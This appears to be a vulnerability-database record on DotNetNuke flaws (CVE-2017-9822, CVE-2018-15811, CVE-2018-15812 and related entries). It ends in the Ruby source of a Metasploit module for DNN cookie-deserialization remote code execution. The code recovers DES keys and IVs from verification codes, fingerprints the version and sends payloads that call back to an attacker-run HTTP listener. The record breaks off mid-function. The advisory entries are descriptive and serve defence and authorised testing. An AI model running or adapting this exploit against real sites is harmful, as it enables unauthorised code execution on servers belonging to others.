"description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 uses a weak encryption algorithm to protect input parameters.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-03T17:15:00", "type": "cve", "title": "CVE-2018-15811", "cwe": ["CWE-326"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811"], "modified": "2020-04-03T05:15:00", "cpe": ["cpe:/a:dnnsoftware:dotnetnuke:9.2.1"], "id": "CVE-2018-15811", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-15811", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:dnnsoftware:dotnetnuke:9.2.1:*:*:*:*:*:*:*"]}], "github": [{"lastseen": "2023-01-09T05:07:18", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 incorrectly converts encryption key source values, resulting in lower than expected entropy. NOTE: this issue exists because of an incomplete fix for CVE-2018-15812.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:20", "type": "github", "title": "Insufficient Entropy in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812", "CVE-2018-18326"], "modified": "2023-01-09T05:01:40", "id": "GHSA-XX3H-J3CX-8QFJ", "href": "https://github.com/advisories/GHSA-xx3h-j3cx-8qfj", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-09T05:07:18", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:16", "type": "github", "title": "Inadequate Encryption Strength in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811", "CVE-2018-18325"], "modified": "2023-01-09T05:01:40", "id": "GHSA-J3G9-6FX5-GJV7", "href": "https://github.com/advisories/GHSA-j3g9-6fx5-gjv7", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-09T05:07:18", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 incorrectly converts encryption key source values, resulting in lower than expected entropy.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:24", "type": "github", "title": "Insufficient Entropy in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812"], "modified": "2023-01-09T05:01:45", "id": "GHSA-PF46-GQG9-J3V3", "href": "https://github.com/advisories/GHSA-pf46-gqg9-j3v3", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-09T05:07:28", "description": "DNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \"2017-08 (Critical) Possible remote code execution on DNN sites.\"", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-16T19:34:22", "type": "github", "title": "DNN (aka DotNetNuke) has Remote Code Execution via a cookie", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2023-01-09T05:03:39", "id": "GHSA-X2RG-FMCV-CRQ5", "href": "https://github.com/advisories/GHSA-x2rg-fmcv-crq5", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-01-09T05:07:18", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 uses a weak encryption algorithm to protect input parameters.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:36", "type": "github", "title": "Inadequate Encryption Strength in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811"], "modified": "2023-01-09T05:01:37", "id": "GHSA-H595-8PW6-5Q6V", "href": "https://github.com/advisories/GHSA-h595-8pw6-5q6v", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "osv": [{"lastseen": "2023-01-10T06:15:52", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 incorrectly converts encryption key source values, resulting in lower than expected entropy. NOTE: this issue exists because of an incomplete fix for CVE-2018-15812.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:20", "type": "osv", "title": "Insufficient Entropy in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812", "CVE-2018-18326"], "modified": "2023-01-10T06:15:50", "id": "OSV:GHSA-XX3H-J3CX-8QFJ", "href": "https://osv.dev/vulnerability/GHSA-xx3h-j3cx-8qfj", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-10T05:19:04", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:16", "type": "osv", "title": "Inadequate Encryption Strength in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811", "CVE-2018-18325"], "modified": "2023-01-10T05:19:00", "id": "OSV:GHSA-J3G9-6FX5-GJV7", "href": "https://osv.dev/vulnerability/GHSA-j3g9-6fx5-gjv7", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-10T05:42:35", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 incorrectly converts encryption key source values, resulting in lower than expected entropy.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:24", "type": "osv", "title": "Insufficient Entropy in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812"], "modified": "2023-01-10T05:42:29", "id": "OSV:GHSA-PF46-GQG9-J3V3", "href": "https://osv.dev/vulnerability/GHSA-pf46-gqg9-j3v3", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-12-14T05:03:11", "description": "DNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \"2017-08 (Critical) Possible remote code execution on DNN sites.\"", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-16T19:34:22", "type": "osv", "title": "DNN (aka DotNetNuke) has Remote Code Execution via a cookie", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2022-12-14T05:03:08", "id": "OSV:GHSA-X2RG-FMCV-CRQ5", "href": "https://osv.dev/vulnerability/GHSA-x2rg-fmcv-crq5", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-01-10T06:48:47", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 uses a weak encryption algorithm to protect input parameters.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-05T21:08:36", "type": "osv", "title": "Inadequate Encryption Strength in DotNetNuke", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811"], "modified": "2023-01-10T06:48:45", "id": "OSV:GHSA-H595-8PW6-5Q6V", "href": "https://osv.dev/vulnerability/GHSA-h595-8pw6-5q6v", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "metasploit": [{"lastseen": "2022-12-05T14:30:46", "description": "This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.\n", "cvss3": {}, "published": "2019-07-16T16:16:53", "type": "metasploit", "title": "DotNetNuke Cookie Deserialization Remote Code Excecution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-15811", "CVE-2018-15812"], "modified": "2022-12-04T06:50:24", "id": "MSF:EXPLOIT-WINDOWS-HTTP-DNN_COOKIE_DESERIALIZATION_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/dnn_cookie_deserialization_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'openssl'\nrequire 'set'\n\nclass MetasploitModule < Msf::Exploit::Remote\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HttpServer\n\n Rank = ExcellentRanking\n\n # ==================================\n # Override the setup method to allow\n # for delayed handler start\n # ===================================\n def setup\n # Reset the session counts to zero.\n reset_session_counts\n\n return if !payload_instance\n return if !handler_enabled?\n\n # Configure the payload handler\n payload_instance.exploit_config = {\n 'active_timeout' => active_timeout\n }\n\n # payload handler is normally set up and started here\n # but has been removed so we can start the handler when needed.\n end\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'DotNetNuke Cookie Deserialization Remote Code Excecution',\n 'Description' => %q{\n This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.\n Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.\n The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization.\n The cookie is processed by the application whenever it attempts to load the current user's profile data.\n This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).\n An attacker can leverage this vulnerability to execute arbitrary code on the system.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'Jon Park', 'Jon Seigel' ],\n 'References' => [\n [ 'CVE', '2017-9822' ],\n [ 'CVE', '2018-15811'],\n [ 'CVE', '2018-15812'],\n [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811\n [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812\n [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],\n [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],\n [ 'URL', 'https://github.com/pwntester/ysoserial.net']\n ],\n 'Platform' => 'win',\n 'Targets' => [\n [ 'Automatic', { 'auto' => true } ],\n [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],\n [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],\n [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],\n [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]\n ],\n 'Stance' => Msf::Exploit::Stance::Aggressive,\n 'Privileged' => false,\n 'DisclosureDate' => '2017-07-20',\n 'DefaultOptions' => { 'WfsDelay' => 5 },\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => []\n }\n )\n )\n\n deregister_options('SRVHOST')\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),\n OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),\n OptString.new('VERIFICATION_PLAIN', [\n false, %q(The known (full or partial) plaintext of the encrypted verification code.\n Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), ''\n ]),\n OptBool.new('ENCRYPTED', [\n true, %q{Whether or not to encrypt the final payload cookie;\n (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.}, false\n ]),\n OptString.new('KEY', [false, 'The key to use for encryption.', '']),\n OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),\n OptString.new('SESSION_TOKEN', [\n false, %q{The .DOTNETNUKE session cookie to use when submitting the payload to the target server.\n DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.}, ''\n ]),\n OptString.new('VERIFICATION_CODE', [\n false, %q{The encrypted verification code received in a registration email.\n Can also be the path to a file containing a list of verification codes.}, ''\n ])\n ]\n )\n\n initialize_instance_variables\n end\n\n def initialize_instance_variables\n # ==================\n # COMMON VARIABLES\n # ==================\n\n @target_idx = 0\n\n # Flag for whether or not to perform exploitation\n @dry_run = false\n\n # Flag for whether or not the target requires encryption\n @encrypted = false\n\n # Flag for whether or not to attempt to decrypt the provided verification token(s)\n @try_decrypt = false\n\n # ==================\n # PAYLOAD VARIABLES\n # ==================\n\n @cr_regex = /(?<=Copyright \\(c\\) 2002-)(\\d{4})/\n\n # ==================\n # v9.1.1+ VARIABLES\n # ==================\n\n @key_charset = '02468ABDF'\n @verification_codes = []\n\n @iv_regex = /[0-9A-F]{8}/\n\n # Known plaintext\n @kpt = ''\n\n # Encryption objects\n @decryptor = OpenSSL::Cipher.new('des')\n @decryptor.decrypt\n\n @encryptor = OpenSSL::Cipher.new('des')\n @encryptor.encrypt\n\n # final passphrase (key +iv) to use for payload (v9.1.1+)\n @passphrase = ''\n\n # ==================\n # v9.2.0+ VARIABLES\n # ==================\n\n # Session token needed for exploitation (v9.2.0+)\n @session_token = ''\n\n # ==================\n # v9.2.2+ VARIABLES\n # ==================\n\n # User ID format (v9.2.2+)\n # Number of characters of user ID available in plaintext\n # is equal to the length of a GUID (no spaces or dashes)\n # minus (blocksize - known plaintext length).\n @user_id_pt_length = 32 - (8 - @kpt.length)\n @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/\n\n # Plaintext found from decryption (v9.2.2+)\n @found_pt = ''\n\n @iv_charset = '0123456789abcdef'\n\n # Possible IVs used to encrypt verification codes (v9.2.2+)\n @possible_ivs = Set.new([])\n\n # Possible keys used to encrypt verification codes (v9.2.2+)\n @possible_keys = Set.new([])\n\n # passphrases (key + iv) values to use for payload encryption (v9.2.2+)\n @passphrases = []\n\n # char sets to use when generating possible base keys\n @unchanged = Set.new([65, 70])\n end\n\n def decode_verification(code)\n # Decode verification code base don DNN format\n return String.new(\n Rex::Text.decode_base64(\n code.chomp.gsub('.', '+').gsub('-', '/').gsub('_', '=')\n )\n )\n end\n\n # ==============\n # Main function\n # ==============\n def exploit\n return unless check == Exploit::CheckCode::Appears\n\n @encrypted = datastore['ENCRYPTED']\n verification_code = datastore['VERIFICATION_CODE']\n if File.file?(verification_code)\n File.readlines(verification_code).each do |code|\n @verification_codes.push(decode_verification(code))\n end\n else\n @verification_codes.push(decode_verification(verification_code))\n end\n\n @kpt = datastore['VERIFICATION_PLAIN']\n\n @session_token = datastore['SESSION_TOKEN']\n @dry_run = datastore['DryRun']\n key = datastore['KEY']\n iv = datastore['IV']\n\n if target['ReqEncrypt'] && @encrypted == false\n print_warning('Target requires encrypted payload. Exploit may not succeed.')\n end\n\n if @encrypted\n # Requires either supplied key and IV, or verification code and plaintext\n if (!key.blank? && !iv.blank?)\n @passphrase = key + iv\n # Key and IV were supplied, don't try and decrypt.\n @try_decrypt = false\n elsif (!@verification_codes.empty? && !@kpt.blank?)\n @try_decrypt = true\n else\n fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')\n end\n end\n\n if target['ReqSession'] && @session_token.blank?\n fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')\n end\n\n if @encrypted && @try_decrypt\n # Set IV for decryption as the known plaintext, manually\n # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.\n # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.\n # For v9.2.2+ it will find an initial base key faster than if padding were enabled.\n f8_plain = @kpt[0, 8]\n c_iv = f8_plain.unpack('C*') + [8 - f8_plain.length] * (8 - f8_plain.length)\n @decryptor.iv = String.new(c_iv.pack('C*'))\n @decryptor.padding = 0\n\n key = find_key(@verification_codes[0])\n if key.blank?\n return\n end\n\n if @target_idx == 4\n # target is v9.2.2+, requires base64 generated key and IV values.\n generate_base_keys(0, key.each_byte.to_a, '')\n vprint_status(\"Generated #{@possible_keys.size} possible base KEY values from #{key}\")\n\n # re-enable padding here as it doesn't have the\n # same performance impact when trying to find possible IV values.\n @decryptor.padding = 1\n\n print_warning('Finding possible base IVs. This may take a few minutes...')\n start = Time.now\n find_ivs(@verification_codes, key)\n elapsed = Time.now - start\n vprint_status(\n format(\n 'Found %<n_ivs>d potential Base IV values using %<n_codes>d '\\\n 'verification codes in %<e_time>.2f seconds.',\n n_ivs: @possible_ivs.size,\n n_codes: @verification_codes.size,\n e_time: elapsed.to_s\n )\n )\n\n generate_payload_passphrases\n vprint_status(format('Generated %<n_phrases>d possible base64 KEY and IV combinations.', n_phrases: @passphrases.size))\n end\n\n if @passphrase.blank?\n # test all generated passphrases by\n # sending an exploit payload to the target\n # that will callback to an HTTP listener\n # with the index of the passphrase that worked.\n\n # set SRVHOST as LHOST value for HTTPServer mixin\n datastore['SRVHOST'] = datastore['LHOST']\n print_warning('Trying all possible KEY and IV combinations...')\n print_status(\"Starting HTTP listener on port #{datastore['SRVPORT']}...\")\n start_service\n begin\n vprint_warning(\"Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...\")\n\n test_passphrases\n\n # If no working passphrase has been found,\n # wait to allow the chance for the last one to callback.\n if @passphrase.empty? && !@dry_run\n sleep(wfs_delay)\n end\n ensure\n cleanup_service\n end\n\n print \"\\r\\n\"\n if !@passphrase.empty?\n print_good(\"KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..]} found\")\n end\n end\n end\n send_exploit_payload\n end\n\n # =====================\n # For the check command\n # =====================\n def check\n if target.name == 'Automatic'\n select_target\n end\n\n @target_idx = Integer(datastore['TARGET'])\n\n if @target_idx == 0\n fail_with(Failure::NoTarget, 'No valid target found or specified.')\n end\n\n # Check if 404 page is custom or not.\n # Vulnerability requires custom 404 handling (enabled by default).\n uri = normalize_uri(target_uri.path)\n print_status(\"Checking for custom error page at: #{uri} ...\")\n res = send_request_cgi(\n 'uri' => uri\n )\n\n if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600\n print_good('Custom error page detected.')\n else\n print_error('IIS Error Page detected.')\n return Exploit::CheckCode::Safe\n end\n return Exploit::CheckCode::Appears\n end\n\n # ===========================\n # Auto-select target version\n # ===========================\n def select_target\n print_status('Trying to determine DNN Version...')\n # Check for copyright version in /Documentation/license.txt\n uri = %r{^(.*[\\\\/])}.match(target_uri.path)[0]\n vprint_status(\"Checking version at #{normalize_uri(\"#{uri}Documentation\", 'License.txt')} ...\")\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(\"#{uri}Documentation\", 'License.txt')\n )\n year = -1\n if res && res.code == 200\n # License page found, get latest copyright year.\n matches = @cr_regex.match(res.body)\n if matches\n year = matches[0].to_i\n end\n else\n vprint_status(\"Checking version at #{uri} ...\")\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(uri)\n )\n if res && res.code == 200\n # Check if copyright info is in page HTML.\n matches = @cr_regex.match(res.body)\n if matches\n year = matches[0].to_i\n end\n end\n end\n\n if year >= 2018\n print_warning(\n %q{DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.\nSetting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.\nTry setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.\"}\n )\n datastore['TARGET'] = 3\n elsif year == 2017\n print_warning('DNN Version Found: 